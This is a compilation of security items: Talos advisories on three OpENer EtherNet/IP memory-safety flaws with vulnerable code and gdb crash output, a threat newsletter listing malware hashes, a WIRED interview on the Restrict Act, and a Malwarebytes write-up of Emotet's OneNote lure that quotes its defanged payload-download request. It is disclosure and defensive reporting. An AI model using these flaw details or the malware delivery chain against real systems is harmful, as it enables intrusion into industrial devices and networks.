An out-of-bounds write vulnerability exists in the GetAttributeList attribute_count_request functionality of EIP Stack Group OpENer development commit 58ee13c. A specially crafted EtherNet/IP request can lead to an out-of-bounds write, potentially causing the server to crash or allow for remote code execution. An attacker can send a series of EtherNet/IP requests to trigger this vulnerability.

**SUMMARY**

An out-of-bounds write vulnerability exists in the GetAttributeList attribute\_count\_request functionality of EIP Stack Group OpENer development commit 58ee13c. A specially crafted EtherNet/IP request can lead to an out-of-bounds write, potentially causing the server to crash or allow for remote code execution. An attacker can send a series of EtherNet/IP requests to trigger this vulnerability.

**CONFIRMED VULNERABLE VERSIONS**

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

EIP Stack Group OpENer development commit 58ee13c

**PRODUCT URLS**

OpENer - https://github.com/EIPStackGroup/OpENer

**CVSSv3 SCORE**

10.0 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

**CWE**

CWE-787 - Out-of-bounds Write

**DETAILS**

OpENer is an EtherNet/IP stack for I/O adapter devices. It supports multiple I/O and explicit connections and includes objects and services for making EtherNet/IP-compliant products as defined in the ODVA specification.

When a GetAttributeList request is received, the number of attributes is extracted into attribute_count_request. This value is then used as the upper bound for a loop intended to iterate over each requested attribute and add the associated information to the CipMessageRouterResponse. This can be seen in the following snippet from cipcommon.c:GetAttributeList.

      ...
    
      CipUint attribute_count_request = GetUintFromMessage(
        &message_router_request->data);
    
      if(0 != attribute_count_request) {
    
        EipUint16 attribute_number = 0;
        CipAttributeStruct *attribute = NULL;
    
        AddIntToMessage(attribute_count_request, &message_router_response->message);
    
        for(size_t j = 0; j < attribute_count_request; j++) {                        [0] upper bound is user-controlled
    
          attribute_number = GetUintFromMessage(&message_router_request->data);
          attribute = GetCipAttribute(instance, attribute_number);
    
      ...
    

Within this loop the various fields associated with the attribute currently being processed are added to the response message buffer through use of the AddIntToMessage, AddSintToMessage or AddDintToMessage functions. All three of these functions are essentially helpers to convert the value in question from the host endianess to little-endian, and then write the converted data to the response buffer.

The AddIntToMessage function uses the current_message_position and used_message_length values contained within the EnipMessage to determine where within the response message buffer to write the converted data, as shown in the snippet below from endianconv.c:

    /**
     * @brief converts UINT16 data from host to little endian an writes it to buffer.
     * @param data value to be written
     * @param buffer pointer where data should be written.
     */
    void AddIntToMessage(const EipUint16 data,
                         ENIPMessage *const outgoing_message) {
    
      outgoing_message->current_message_position[0] = (unsigned char) data;
      outgoing_message->current_message_position[1] = (unsigned char) (data >> 8);
      outgoing_message->current_message_position += 2;
      outgoing_message->used_message_length += 2;
    }
    

When a GetAttributeList request containing an attribute_count_request of size greater than 0x80 is received, the outgoing_message->current_message_position value gets incremented to an address outside of the EnipMessage buffer. Subsequent calls to AddIntToMessage then write user-supplied data outside of the EnipMessage buffer, which when specially crafted can be used to corrupt the stack and cause the process to crash, resulting in loss of communications with the server and potentially code execution.

**Crash Information**

    Using host libthread_db library "/lib/aarch64-linux-gnu/libthread_db.so.1".                                                                                                           
    
    Breakpoint 1, 0x0000aaaaaaaab820 in HandleDataOnTcpSocket ()                                                                                                                          
    (gdb) i r  
    x0             0xfffff7ffd6b0      281474842482352
    x1             0x0                 0
    x2             0x44d1e5c2f4e5814   309937330637920276
    x3             0x0                 0
    x4             0x0                 0
    x5             0x0                 0
    x6             0x0                 0
    x7             0x0                 0
    x8             0xce                206
    x9             0x4141001441410014  4702039572945633300
    x10            0x4141001441410014  4702039572945633300
    x11            0x4141001441410014  4702039572945633300
    x12            0x41410014414100ff  4702039572945633535
    x13            0x4141001441410014  4702039572945633300
    x14            0x4141001441410014  4702039572945633300
    x15            0x4141001441410014  4702039572945633300
    x16            0xaaaaaaad7d50      187649984658768
    x17            0xfffff7f97a28      281474842065448
    x18            0x0                 0
    x19            0xaaaaaaac0150      187649984561488
    x20            0x0                 0
    x21            0xaaaaaaaa9e20      187649984470560
    x22            0x0                 0
    x23            0x0                 0
    x24            0x0                 0
    x25            0x0                 0
    x26            0x0                 0
    x27            0x0                 0
    x28            0x0                 0
    x29            0xffffffffe900      281474976704768
    x30            0xaaaaaaaab7f4      187649984477172
    sp             0xffffffffe900      0xffffffffe900
    pc             0xaaaaaaaab820      0xaaaaaaaab820 <HandleDataOnTcpSocket+1044>
    cpsr           0x20001000          [ EL=0 SSBS C ]
    fpsr           0x0                 0
    fpcr           0x0                 0
    pauth_dmask    0x7f000000000000    35747322042253312
    pauth_cmask    0x7f000000000000    35747322042253312
    (gdb) 
    (gdb) 
    (gdb) bt
    #0  0x0000aaaaaaaab820 in HandleDataOnTcpSocket ()
    #1  0x0000aaaaaaaaae6c in NetworkHandlerProcessCyclic ()
    #2  0x4141001441410014 in ?? ()
    Backtrace stopped: previous frame identical to this frame (corrupt stack?)
    (gdb) 
    (gdb) 
    (gdb) x/i $pc
    => 0xaaaaaaaab820 <HandleDataOnTcpSocket+1044>:
        bl  0xaaaaaaaa9c60 <__stack_chk_fail@plt>
    (gdb) 
    (gdb) 
    (gdb) c
    Continuing.
    *** stack smashing detected ***: terminated
    
    Program received signal SIGABRT, Aborted.
    __GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:50
    50      ../sysdeps/unix/sysv/linux/raise.c: No such file or directory.
    (gdb) 
    Continuing.
    
    Program terminated with signal SIGABRT, Aborted.
    The program no longer exists.
    (gdb)
    (gdb)
    

**Mitigation**

Verify that the extracted attribute_count_request value times two (because it indicates number of Words, which in CIP is 16 bytes) does not exceed the number of bytes remaining in the message buffer.

**TIMELINE**

2022-12-06 - Vendor Disclosure  
2022-12-12 - Vendor Patch Release  
2023-02-23 - Public Release

Discovered by Jared Rittle of Cisco Talos.

CVE-2022-43604: TALOS-2022-1661 || Cisco Talos Intelligence Group

An out-of-bounds write vulnerability exists in the SetAttributeList attribute_count_request functionality of EIP Stack Group OpENer development commit 58ee13c. A specially crafted EtherNet/IP request can lead to an out of bounds write, potentially causing the server to crash or allow for remote code execution. An attacker can send a series of EtherNet/IP requests to trigger this vulnerability.

**SUMMARY**

An out-of-bounds write vulnerability exists in the SetAttributeList attribute\_count\_request functionality of EIP Stack Group OpENer development commit 58ee13c. A specially crafted EtherNet/IP request can lead to an out of bounds write, potentially causing the server to crash or allow for remote code execution. An attacker can send a series of EtherNet/IP requests to trigger this vulnerability.

**CONFIRMED VULNERABLE VERSIONS**

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

EIP Stack Group OpENer development commit 58ee13c

**PRODUCT URLS**

OpENer - https://github.com/EIPStackGroup/OpENer

**CVSSv3 SCORE**

10.0 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

**CWE**

CWE-787 - Out-of-bounds Write

**DETAILS**

OpENer is an EtherNet/IP stack for I/O adapter devices. It supports multiple I/O and explicit connections and includes objects and services for making EtherNet/IP-compliant products as defined in the ODVA specification.

When a SetAttributeList request is received, the number of attributes is extracted into attribute_count_request. This value is then used as the upper bound for a loop intended to iterate over each requested attribute and add the associated information to the CipMessageRouterResponse. This can be seen in the following snippet from cipcommon.c:SetAttributeList.

    ...
    
      CipUint attribute_count_request = GetUintFromMessage(
        &message_router_request->data);
    
      if(0 != attribute_count_request) {
    
        EipUint16 attribute_number = 0;
        CipAttributeStruct *attribute = NULL;
    
        AddIntToMessage(attribute_count_request, &message_router_response->message); // number of attributes in the response
    
        for(size_t j = 0; j < attribute_count_request; j++) {
    
          attribute_number = GetUintFromMessage(&message_router_request->data);
          attribute = GetCipAttribute(instance, attribute_number);
    
          AddIntToMessage(attribute_number, &message_router_response->message); // Attribute-ID
          
    ...
    

Within this loop the various fields associated with the attribute currently being processed are added to the response message buffer through use of the AddIntToMessage and AddSintToMessage functions. Both of these functions are essentially helpers to convert the value in question from the host endianess to little-endian, and then write the converted data to the response buffer.

The AddIntToMessage and AddSintToMessage functions use the current_message_position and used_message_length values contained within the EnipMessage to determine where within the response message buffer to write the converted data, as shown in the snippet below from endianconv.c:

    /**
     * @brief converts UINT16 data from host to little endian an writes it to buffer.
     * @param data value to be written
     * @param buffer pointer where data should be written.
     */
    void AddIntToMessage(const EipUint16 data,
                         ENIPMessage *const outgoing_message) {
    
      outgoing_message->current_message_position[0] = (unsigned char) data;
      outgoing_message->current_message_position[1] = (unsigned char) (data >> 8);
      outgoing_message->current_message_position += 2;
      outgoing_message->used_message_length += 2;
    }
    

When a SetAttributeList request containing an attribute_count_request of size greater than 0x80 is received, the outgoing_message->current_message_position value gets incremented to an address outside of the EnipMessage buffer. Subsequent calls to AddIntToMessage then write user-supplied data outside of the EnipMessage buffer. When specially crafted, this can be used to corrupt the stack and cause the process to crash, resulting in loss of communications with the server and, potentially, code execution.

**Crash Information**

    Using host libthread_db library "/lib/aarch64-linux-gnu/libthread_db.so.1".                                                                                                           
                                                                                                                                                                                          
    Breakpoint 1, 0x0000aaaaaaaab820 in HandleDataOnTcpSocket ()                                                                                                                          
    (gdb) i r                                                                                                                                                                             
    x0             0xfffff7ffd6b0      281474842482352                                                                                                                                    
    x1             0x0                 0                                                                                                                                                  
    x2             0x55e84b9de151c14   386892551830182932                                                                                                                                 
    x3             0x0                 0                                                                                                                                                  
    x4             0x0                 0                                                                                                                                                  
    x5             0x0                 0                                                                                                                                                  
    x6             0x0                 0
    x7             0x0                 0
    x8             0xce                206
    x9             0x14414100144141    5701246964220225
    x10            0x14414100144141    5701246964220225
    x11            0x14414100144141    5701246964220225
    x12            0x41410014414100ff  4702039572945633535
    x13            0x4141001441410014  4702039572945633300
    x14            0x14414100144141    5701246964220225
    x15            0x14414100144141    5701246964220225
    x16            0xaaaaaaad7d50      187649984658768
    x17            0xfffff7f97a28      281474842065448
    x18            0x0                 0
    x19            0xaaaaaaac0150      187649984561488
    x20            0x0                 0
    x21            0xaaaaaaaa9e20      187649984470560
    x22            0x0                 0
    x23            0x0                 0
    x24            0x0                 0
    x25            0x0                 0
    x26            0x0                 0
    x27            0x0                 0
    x28            0x0                 0
    x29            0xffffffffe900      281474976704768
    x30            0xaaaaaaaab7f4      187649984477172
    sp             0xffffffffe900      0xffffffffe900
    pc             0xaaaaaaaab820      0xaaaaaaaab820 <HandleDataOnTcpSocket+1044>
    cpsr           0x20001000          [ EL=0 SSBS C ]
    fpsr           0x0                 0
    fpcr           0x0                 0
    pauth_dmask    0x7f000000000000    35747322042253312
    pauth_cmask    0x7f000000000000    35747322042253312
    (gdb)
    (gdb)
    (gdb) x/i $pc
    => 0xaaaaaaaab820 <HandleDataOnTcpSocket+1044>:
        bl  0xaaaaaaaa9c60 <__stack_chk_fail@plt>
    (gdb)
    (gdb)
    (gdb) bt
    #0  0x0000aaaaaaaab820 in HandleDataOnTcpSocket ()
    #1  0x0000aaaaaaaaae6c in NetworkHandlerProcessCyclic ()
    #2  0x4141001441410014 in ?? ()
    Backtrace stopped: previous frame identical to this frame (corrupt stack?)
    (gdb)
    (gdb)
    (gdb) c
    Continuing.
    *** stack smashing detected ***: terminated
    
    Program received signal SIGABRT, Aborted.
    __GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:50
    50      ../sysdeps/unix/sysv/linux/raise.c: No such file or directory.
    (gdb) 
    

**TIMELINE**

2022-12-06 - Vendor Disclosure  
2022-12-14 - Vendor Patch Release  
2023-02-23 - Public Release

Discovered by Jared Rittle of Cisco Talos.

CVE-2022-43605: TALOS-2022-1662 || Cisco Talos Intelligence Group

A use-of-uninitialized-pointer vulnerability exists in the Forward Open connection_management_entry functionality of EIP Stack Group OpENer development commit 58ee13c. A specially-crafted EtherNet/IP request can lead to use of a null pointer, causing the server to crash. An attacker can send a series of EtherNet/IP requests to trigger this vulnerability.

**SUMMARY**

A use-of-uninitialized-pointer vulnerability exists in the Forward Open connection\_management\_entry functionality of EIP Stack Group OpENer development commit 58ee13c. A specially-crafted EtherNet/IP request can lead to use of a null pointer, causing the server to crash. An attacker can send a series of EtherNet/IP requests to trigger this vulnerability.

**CONFIRMED VULNERABLE VERSIONS**

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

EIP Stack Group OpENer development commit 58ee13c

**PRODUCT URLS**

OpENer - https://github.com/EIPStackGroup/OpENer

**CVSSv3 SCORE**

7.5 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

**CWE**

CWE-824 - Access of Uninitialized Pointer

**DETAILS**

OpENer is an EtherNet/IP stack for I/O adapter devices. It supports multiple I/O and explicit connections and includes objects and services for making EtherNet/IP-compliant products as defined in the ODVA specification.

When a LargeForwardOpen request is received, the CIP connection path is extracted into a ConnectionManagementEntry object in cipconnectionmanager.c:ParseConnectionPath. In this function the remaining_path variable gets set to the connection_path_size value extracted directly from the request. When connection_path_size is set to 0x00 and no connection path is provided in the message, the majority of the function’s parsing is bypassed to return successfully.

    EipUint8 ParseConnectionPath(CipConnectionObject *connection_object,
                                 CipMessageRouterRequest *message_router_request,
                                 EipUint16 *extended_error) {
      const EipUint8 *message = message_router_request->data;
      const size_t connection_path_size = GetUsintFromMessage(&message); /* length in words */
      size_t remaining_path = connection_path_size;
      OPENER_TRACE_INFO("Received connection path size: %zu \n",
                        connection_path_size);
      CipClass *class = NULL;
    
      CipDword class_id = 0x0;
      CipDword instance_id = 0x0;
    
      /* with 256 we mark that we haven't got a PIT segment */
      ConnectionObjectSetProductionInhibitTime(connection_object, 256);
    
      size_t header_length = g_kForwardOpenHeaderLength;
      if(connection_object->is_large_forward_open) {
        header_length = g_kLargeForwardOpenHeaderLength;
      }
    
      if( (header_length + remaining_path * 2) <
          message_router_request->request_data_size ) {
        /* the received packet is larger than the data in the path */
        *extended_error = 0;
        return kCipErrorTooMuchData;
      }
    
      if( (header_length + remaining_path * 2) >
          message_router_request->request_data_size ) {
        /*there is not enough data in received packet */
        *extended_error = 0;
        OPENER_TRACE_INFO("Message not long enough for path\n");
        return kCipErrorNotEnoughData;
      }
    
    
        /* first look if there is an electronic key */
        if(kSegmentTypeLogicalSegment == GetPathSegmentType(message) ) {
    
        ...
    
      }
    
      OPENER_TRACE_INFO("Resulting PIT value: %u\n",
                        connection_object->production_inhibit_time);
      /*save back the current position in the stream allowing followers to parse anything thats still there*/
      message_router_request->data = message;
      return kEipStatusOk;
    }
    
    ...
    

A successful result here allows for execution to make it to the GetConnectionManagementEntry function as shown in the snippet from cipconnectionmanager.c:HandleNonNullNonMatchingForwardOpenRequest.

      EipUint32 temp = ParseConnectionPath(&g_dummy_connection_object,
                                           message_router_request,
                                           &connection_status);
      if(kEipStatusOk != temp) {
        return AssembleForwardOpenResponse(&g_dummy_connection_object,
                                           message_router_response,
                                           temp,
                                           connection_status);
      }
    
    /*parsing is now finished all data is available and check now establish the connection */
      ConnectionManagementHandling *connection_management_entry =
        GetConnectionManagementEntry( /* Gets correct open connection function for the targeted object */
           .configuration_path.class_id);
    

The application then attempts to retrieve the connection object associated with the current class id, as shown in cipconnectionmanager.c:GetConnectionManagementEntry.

    ConnectionManagementHandling *
    GetConnectionManagementEntry(const EipUint32 class_id) {
      ConnectionManagementHandling *connection_management_entry = NULL;
      for(size_t i = 0; i < g_kNumberOfConnectableObjects; ++i) {
        if(class_id == g_connection_management_list[i].class_id) {
          connection_management_entry = &(g_connection_management_list[i]);
          break;
        }
      }
      return connection_management_entry;
    }
    

Prior initialization of g_connection_management_list creates a buffer of all null bytes, which would get overwritten with valid connection management entries during normal operation. This would cause an entry to inherently exist for class_id 0x00 when no valid connection management entries are provided. This can be seen in the following snippet from cipconnectionmanager.c:InitializeConnectionManagerData.

    void InitializeConnectionManagerData() {
      memset(g_connection_management_list,
             0,
             g_kNumberOfConnectableObjects * sizeof(ConnectionManagementHandling) );
      InitializeClass3ConnectionData();
      InitializeIoConnectionData();
    }
    

Since a connection_management_entry gets set, execution can continue to try to make the connection in cipconnectionmanager.c:HandleNonNullNonMatchingForwardOpenRequest. Since the connection_management_entry points to null bytes, however, the attempt to call open_connection_function ends up creating a jump to address 0x00, causing the server to crash.

      /*parsing is now finished all data is available and check now establish the connection */
      ConnectionManagementHandling *connection_management_entry =
        GetConnectionManagementEntry( /* Gets correct open connection function for the targeted object */
          g_dummy_connection_object.configuration_path.class_id);
      if(NULL != connection_management_entry) {
        temp = connection_management_entry->open_connection_function(
          &g_dummy_connection_object,
          &connection_status);
      } else {
        temp = kEipStatusError;
        connection_status =
          kConnectionManagerExtendedStatusCodeInconsistentApplicationPathCombo;
      }
    

**Crash Information**

    Using host libthread_db library "/lib/aarch64-linux-gnu/libthread_db.so.1".                                                                                                           
                                                                                                                                                                                          
    Program received signal SIGSEGV, Segmentation fault.                                                                                                                                  
    0x0000000000000000 in ?? ()                                                                                                                                                           
    (gdb) i r                                                                                                                                                                             
    x0             0xaaaaaaad9860      187649984665696                                                                                                                                    
    x1             0xffffffffe47a      281474976703610                                                                                                                                    
    x2             0x0                 0                                                                                                                                                  
    x3             0x0                 0                                                                                                                                                  
    x4             0xaaaaaaab2d38      187649984507192                                                                                                                                    
    x5             0xfffff7f80094      281474841968788                                                                                                                                    
    x6             0xfffff7f80100      281474841968896                                                                                                                                    
    x7             0xaeefacbc          2934942908                                                                                                                                         
    x8             0xcd                205                                                                                                                                                
    x9             0x164be38           23379512                                                                                                                                           
    x10            0x18                24
    x11            0x357ebf3f5065e6    15057533631751654
    x12            0x36b8ff66b93       3760511675283
    x13            0x7fffffff          2147483647 
    x14            0x7365722f6374652f  8315177834867090735
    x15            0x666e6f632e766c6f  7380959311078780015
    x16            0x1                 1
    x17            0xfffff7e49738      281474840696632
    x18            0x0                 0
    x19            0xaaaaaaac0150      187649984561488
    x20            0x0                 0
    x21            0xaaaaaaaa9e20      187649984470560
    x22            0x0                 0
    x23            0x0                 0
    x24            0x0                 0
    x25            0x0                 0
    x26            0x0                 0
    x27            0x0                 0
    x28            0x0                 0
    x29            0xffffffffe440      281474976703552
    x30            0xaaaaaaab2e28      187649984507432
    sp             0xffffffffe440      0xffffffffe440
    pc             0x0                 0x0
    cpsr           0x20001000          [ EL=0 SSBS C ]
    fpsr           0x0                 0
    fpcr           0x0                 0
    pauth_dmask    0x7f000000000000    35747322042253312
    pauth_cmask    0x7f000000000000    35747322042253312
    (gdb)
    (gdb)
    (gdb) bt
    #0  0x0000000000000000 in ?? ()
    #1  0x0000aaaaaaab2e28 in HandleNonNullNonMatchingForwardOpenRequest ()
    #2  0x0000aaaaaaab3128 in ForwardOpenRoutine ()
    #3  0x0000aaaaaaab2f08 in LargeForwardOpen ()
    #4  0x0000aaaaaaaae304 in NotifyClass ()
    #5  0x0000aaaaaaab7c28 in NotifyMessageRouter ()
    #6  0x0000aaaaaaabca3c in NotifyCommonPacketFormat ()
    #7  0x0000aaaaaaabe91c in HandleReceivedSendRequestResponseDataCommand ()
    #8  0x0000aaaaaaabdd14 in HandleReceivedExplictTcpData ()
    #9  0x0000aaaaaaaab778 in HandleDataOnTcpSocket ()
    #10 0x0000aaaaaaaaae6c in NetworkHandlerProcessCyclic ()
    #11 0x0000aaaaaaaaa230 in executeEventLoop ()
    #12 0x0000aaaaaaaaa160 in main ()
    (gdb)
    (gdb)
    (gdb) x/i 0x0000aaaaaaab2e28-4
       0xaaaaaaab2e24 <HandleNonNullNonMatchingForwardOpenRequest+236>:     blr     x2
    (gdb) 
    

**Mitigation**

Add a check in cipconnectionmanager.c:ParseConnectionPath to verify that the value of remaining_path is non-null. Additionally add a check in cipconnectionmanager.c:HandleNonNullNonMatchingForwardOpenRequest to verify that connection_management_entry->open_connection_function contains a valid pointer before executing.

**TIMELINE**

2022-12-06 - Vendor Disclosure  
2022-12-14 - Vendor Patch Release  
2023-02-23 - Public Release

Discovered by Jared Rittle of Cisco Talos.

CVE-2022-43606: TALOS-2022-1663 || Cisco Talos Intelligence Group

The latest episode of ThreatWise TV from Hazel Burton is the closest look yet at the team Talos assembled in the days after Russia invaded Ukraine.

Thursday, March 16, 2023 14:03

Welcome to this week’s edition of the Threat Source newsletter.

We’re written a ton about Cisco Talos’ support of Ukraine and our friends and allies there. Now, we encourage you to watch and listen to the folks who have been working hands-on there.

The latest episode of ThreatWise TV from Hazel Burton is the closest look yet at the team Talos assembled in the days after Russia invaded Ukraine to help defend critical infrastructure, intelligence partners and government agencies in Ukraine. You can watch the full documentary above, or over on YouTube here.

**The one big thing**

We have new research out on a never-before-seen threat actor called YoroTrooper that’s carrying out a variety of espionage activity in Europe and Asia. This group has targeted several high-profile government organizations, including one in the European Union, stealing sensitive information such as login credentials, browser histories and cookies, system information and screenshots.

**Why do I care?**

While YoroTrooper uses malware associated with other threat actors, such as PoetRAT and LodaRAT, we believe this is a new cluster of activity from an entirely new threat actor. YoroTrooper is clearly going after major targets and has already been successful, so everyone should be on the lookout for these attacks, but especially users and organizations in Commonwealth of Independent States (CIS) countries.

**So now what?**

YoroTrooper creates malicious domains and spoofs commonly visited URLs that look like they belong to government agencies in the targeted countries to host its malware. So any time you go to open an email attachment or click on a link in an email, triple check to make sure it’s really where you want to go, or that you can verify the sender. Additionally, the blog outlines a range of protections in Cisco Secure products that can defend and detect this group’s actions.

**Top security headlines of the week**

The APLHV ransomware cartel claims to have **successfully stolen data belonging to Amazon’s Ring smart home company.** The ransomware gang’s dark website threatened to leak the data earlier this week, though it showed no evidence of a successful attack. Ring said on Tuesday that it had “no indications that Ring has experienced a ransomware event.” ALPHV, which is known for the BlackCat malware, usually encrypts targets’ data and threatens to leak the stolen information if the victim does not pay the requested ransom payment. Politico also reported this week that Ring will openly share recorded footage with local law enforcement, even if the camera’s user declines to do so, sparking questions about who owns security footage on private property and whether users are compelled to share those recordings. (Vice, TechCrunch, Politico)

Sensitive information from D.C. Health Link — the online health insurance marketplace for Washington, D.C. — is **reportedly for sale on the dark web,** potentially affecting White House staff and members of Congress. An internal memo last week warned of a "significant data breach” that potentially exposed the personal information of thousands of federal employees and warned potential victims that their data may have been compromised. As many as 21 members from the U.S. House and Senate could be affected, all of whom get their insurance through the program. In all, 56,415 customers were affected, according to the exchange. (CBS News, Roll Call)

Microsoft **released its monthly security update Tuesday,** disclosing 83 vulnerabilities across the company’s hardware and software line, including two issues that are actively being exploited in the wild, continuing a trend of zero-days appearing in Patch Tuesdays over the past few months. Two of the vulnerabilities included in March’s security update have been exploited in the wild, according to Microsoft, including one critical issue. One of the zero-days included this month, CVE-2023-23397, is a privilege escalation vulnerability in Microsoft Outlook that could force a targeted device to connect to a remote URL and transmit the Windows account's Net-NTLMv2 hash to an adversary. To trigger this vulnerability, a user doesn’t even need to open the email or preview it, the vulnerability is triggered as soon as the email is retrieved by the targeted email server. (Cisco Talos, SecurityWeek)

**Can’t get enough Talos?**

*   Talos Takes Ep. #130: There’s not actually more spam during tax season, just different spam
*   Researcher Spotlight: How David Liebenberg went from never having opened Terminal to hunting international APTs
*   YoroTrooper cyberspies target CIS energy orgs, EU embassies
*   YoroTrooper Espionage Campaigns Target CIS, EU Countries
*   Updated Prometei botnet evades defenses, mines Monero

**Upcoming events where you can find Talos**

**WiCyS (March 16 - 18)**

Denver, CO

**RSA (April 24 - 27)**

San Francisco, CA

**Most prevalent malware files from Talos telemetry over the past week**

  
**SHA 256:** 00ab15b194cc1fc8e48e849ca9717c0700ef7ce2265511276f7015d7037d8725  
**MD5:** d47fa115154927113b05bd3c8a308201  
**Typical Filename:** mssqlsrv.exe  
**Claimed Product:** N/A  
**Detection Name:** Trojan.GenericKD.65065311

**SHA 256:** e4973db44081591e9bff5117946defbef6041397e56164f485cf8ec57b1d8934  
**MD5:** 93fefc3e88ffb78abb36365fa5cf857c  
**Typical Filename:** Wextract  
**Claimed Product:** Internet Explorer  
**Detection Name:** PUA.Win.Trojan.Generic::85.lp.ret.sbx.tg

**SHA 256:** 00ab15b194cc1fc8e48e849ca9717c0700ef7ce2265511276f7015d7037d8725  
**MD5:** d47fa115154927113b05bd3c8a308201  
**Typical Filename:** mssqlsrv.exe  
**Claimed Product:** N/A  
**Detection Name:** Trojan.GenericKD.65065311

**SHA 256:** 5616b94f1a40b49096e2f8f78d646891b45c649473a5b67b8beddac46ad398e1  
**MD5:** 3e10a74a7613d1cae4b9749d7ec93515  
**Typical Filename:** IMG001.exe  
**Claimed Product:** N/A  
**Detection Name:** Win.Dropper.Coinminer::1201

**SHA 256:** de3908adc431d1e66656199063acbb83f2b2bfc4d21f02076fe381bb97afc423  
**MD5:** 954a5fc664c23a7a97e09850accdfe8e  
**Typical Filename:** teams15.exe  
**Claimed Product:** teams15  
**Detection Name:** Gen:Variant.MSILHeracles.59885

Threat Source newsletter (March 16, 2023) — A deep dive into Talos' work in Ukraine

WIRED spoke with the coauthor of the Restrict Act, a bipartisan bill to crack down on tech from six “hostile” countries.

In the future, it might be a new mobile game or an algorithm helping students study at home. It could be the latest graphics card or exercise bike, or an app that pairs families with puppies. With fewer and fewer aspects of life going untouched by technology, it could be practically anything. Right now, it's TikTok, with its billions of users worldwide. 

US Senator Mark Warner (D-Virginia) wants the United States armed with the ability to take swift action against technology companies suspected of cavorting with foreign governments and spies, to effectively vanish their products from shelves and app stores when the threat they pose gets too big to ignore. His new bill, the Restrict Act, would give that responsibility to the US commerce secretary, charging their office with reviewing and, under certain conditions, banning technologies flagged by US intelligence as a credible threat to US national security. Though the technology's owners and manufacturers would have every right to dispute any outcome in court if the Restrict Act becomes law, it is nevertheless an enormous authority to bestow—one with boundless implications for America's competitors overseas. 

The thought that such decisions could be wildly unpopular at home or elicit misgivings from global allies has not escaped Warner. Without sufficient transparency around the process, the government's moves could result in chaos. Warner says the intelligence community should be held to account for the decisions it influences, providing not only to Americans but also the world the information it needs to understand how and why this new power is being used. He knows it may not always be at liberty to do so.

TikTok's ties to China have more or less spooked authorities in several countries, with numerous officials in the US alone claiming to have spoken directly with whistleblowers who offered tales about abuses of personal data. Today, the United Kingdom joined several other nations, including the US, in banning the app across all government devices. 

The British, like their American, Belgian, and Canadian counterparts, are fearful that the app may offer Beijing's intelligence agencies the ability to track key officials' movements and intercept the sensitive information they keep. Other countries already have laws to accomplish what Warner is seeking to do. In 2020, for instance, India's ministry of electronics banned TikTok entirely, citing authority intended to safeguard the “safety and sovereignty of Indian cyberspace.” 

The Restrict Act's future is unknown, but it's gathered considerable bipartisan support in Congress, and there are very few reasons for America's tech giants to get in the way. To understand more about Warner's position on security, invasive tech, and privacy concerns that hit closer to home, WIRED spoke with the Virginia Democrat this week. Our conversation has been edited for length and clarity.

**WIRED: Tell us about the Restrict Act and its purpose.**

Mark Warner: Over the past few years, we've seen challenges coming from foreign-based technology. Originally it was Kaspersky, a Russian software company, then it was Huawei, a Chinese telecom provider, and more recently, the discussion has been about this Chinese-owned social media app, TikTok. We seem to have a whack-a-mole approach to foreign-based technology, and I think instead we need a comprehensive rules-based approach that recognizes national security is no longer simply tanks and guns, but is really a question about technology and technology competition. In the case of Kaspersky, it was software that kept getting updated from Moscow, and with Huawei, it was a way for the Communist Party in China to listen in. In the case of TikTok, it's the enormous amounts of data being collected that potentially could end up in China or, given the fact that a hundred million Americans a day are using it an average 90 minutes a day, it could be an enormous propaganda tool. Let me be clear: Because China changed its law in 2016 to make sure that, at the end of the day, every company's ultimate master is the Communist Party of China. It's not the shareholders, it's not the employees, it's sure not the customers. And this is a national security risk.

Senator Warner on the Restrict Act and a US TikTok Ban

Categories: Threat Intelligence
Emotet finally got the memo and added Microsoft OneNote lures.



(Read more...)




The post Emotet adopts Microsoft OneNote attachments appeared first on Malwarebytes Labs.

Last week, Emotet returned after a three month absence when the botnet Epoch 4 started sending out malicious emails with malicious Office macros. While the extracted attachments were inflated to several hundred megabytes, it was surprising to see that Emotet persisted in using the same attack format.

Indeed, Microsoft has been rolling out its initiative of auto-blocking macros from downloaded documents since last summer. This has forced criminals to revisit how they want to deliver malware via malspam. One noticeable change was the use of Microsoft OneNote documents by several other criminal gangs. Now, it is Emotet's turn to follow along.

The OneNote file is simple but yet effective at social engineering users with a fake notification stating that the document is protected. When instructed to double-click on the View button, victims will inadvertently double-click on an embedded script file instead.

This triggers Windows scripting engine (wscript.exe) to execute the following command:

%Temp%\\OneNote\\16.0\\NT\\0\\click.wsf"

The heavily obfuscated script retrieves the Emotet binary payload from a remote site

GET https://penshorn\[.\]org/admin/Ses8712iGR8du/ HTTP/1.1
Connection: Keep-Alive
Accept: \*/\*
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
Host: penshorn.org

The file is saved as a DLL and executed via regsvr32.exe:

%Temp%\\OneNote\\16.0\\NT\\0\\rad44657.tmp.dll"

Once installed on the system, Emotet will then communicate with its command and control servers to receive further instructions.

As Emotet ramps up its malspam distribution, users should be particularly careful of this threat which we featured in our 2023 State of Malware Report, as it serves as an entry point for other threat actors keen on dropping ransomware.

Malwarebytes customers are protected against this threat at several layers within its attack chain including web protection, malware blocking. Our EDR product also flags the whole sequence:

Although Emotet has had vacations, retirements and even been taken down by authorities before, it continues to be a serious threat and highlights how social engineering attacks are so effective. While macros may soon be a thing of the past, we can see that threat actors can leverage a variety of popular business applications to achieve their end goal of gaining a foothold onto enterprise networks.

We will continue to monitor any new developments with Emotet to ensure our customers remain protected.

Have a burning question or want to learn more about our cyberprotection? Get a free business trial below.

GET STARTED

Emotet adopts Microsoft OneNote attachments

The ransomware group has already claimed 116 victim organizations so far on its site, and it continues to mature as a thriving cybercriminal business, researchers said.

The BianLian ransomware group is ramping up its operations and maturing as a business, moving more swiftly than ever to compromise systems. It's also moving away from encryption to pure data-theft extortion tactics, in cyberattacks that have so far bagged at least 116 victims, researchers have found.

